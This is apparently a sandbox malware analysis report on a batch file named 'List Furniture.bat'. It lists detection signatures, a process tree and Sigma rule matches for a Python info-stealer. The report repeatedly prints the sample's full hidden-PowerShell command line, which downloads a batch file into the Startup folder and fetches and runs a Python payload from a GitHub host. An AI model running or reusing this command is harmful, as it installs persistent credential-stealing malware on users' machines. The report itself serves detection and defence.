Edit tour

Windows Analysis Report
List Furniture.bat

Overview

General Information

Sample name:	List Furniture.bat
Analysis ID:	1550992
MD5:	fdfa2dd654ad71df820fbd7f5bd22b50
SHA1:	4038e401d9779fb3090d8ca439e3ea5100610bb2
SHA256:	f4b2ac1a02f6ad9b2b2529b495e1f0e078e5f1a104f0533a8e546fda0e0d7347
Tags:	batPTT2k5user-JAMESWT_MHT
Infos:

Detection

Python Stealer, Braodo

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected Braodo

Yara detected Powershell download and execute

AI detected suspicious sample

Found large BAT file

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Program Location with Network Connections

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Yara detected Generic Python Stealer

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Command Line Execution with Suspicious URL and AppData Strings

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Download - PoshModule

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 5508 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\List Furniture.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4068 cmdline: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 5940 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6640 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 MD5: 04029E121A0CFA5991749937DD22A1D9)

python.exe (PID: 5488 cmdline: "C:\Users\Public\Document\python.exe" C:\\Users\\Public\\Document\\Lib\\sim.py MD5: C6ED974729D66DC7877BDE3E966B460D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: powershell.exe PID: 5940	JoeSecurity_Braodo_1	Yara detected Braodo	Joe Security
Process Memory Space: powershell.exe PID: 5940	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: python.exe PID: 5488	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_5940.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Document\python.exe" C:\\Users\\Public\\Document\\Lib\\sim.py, CommandLine: "C:\Users\Public\Document\python.exe" C:\\Users\\Public\\Document\\Lib\\sim.py, CommandLine|base64offset|contains: , Image: C:\Users\Public\Document\python.exe, NewProcessName: C:\Users\Public\Document\python.exe, OriginalFileName: C:\Users\Public\Document\python.exe, ParentCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5940, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Document\python.exe" C:\\Users\\Public\\Document\\Lib\\sim.py, ProcessId: 5488, ProcessName: python.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\List Furniture.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5508, ParentProcessName: cmd.exe, ProcessCommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDi

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\List Furniture.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5508, ParentProcessName: cmd.exe, ProcessCommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDi

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5940, TargetFilename: C:\Users\Public\Document\Lib\ctypes\macholib\fetch_macholib.bat

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 34.117.59.81, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Document\python.exe, Initiated: true, ProcessId: 5488, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49739

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5940, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Command Line Execution with Suspicious URL and AppData Strings

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\List Furniture.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5508, ParentProcessName: cmd.exe, ProcessCommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDi

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5940, TargetFilename: C:\Users\Public\Document\python313.dll

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Second

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Download - PoshModule

Source: Event Logs

Author: Florian Roth (Nextron Systems): Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 3c7c8d40-f76a-4a1e-b85c-f649e7fde3b2 Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat');powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip exit Engine Version = 5.1.19041.1682 Runspace ID = 4365d03b-6b23-4599-af3c-0969db4400ef Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 3c7c8d40-f76a-4a1e-b85c-f649e7fde3b2 Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat');powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip exit Engine Version = 5.1.19041.1682 Runspace ID = 4365d03b-6b23-4599-af3c-0969db4400ef Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Sc

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\List Furniture.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5508, ParentProcessName: cmd.exe, ProcessCommandLine: cmd /c start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDi

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\\Users\\Public\\Document\\Lib\\sim.py; del C:/Users/Public/Document.zip" exit, CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/update2.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat')";powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/PTT2k5/LTL203/raw/main/Document2.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 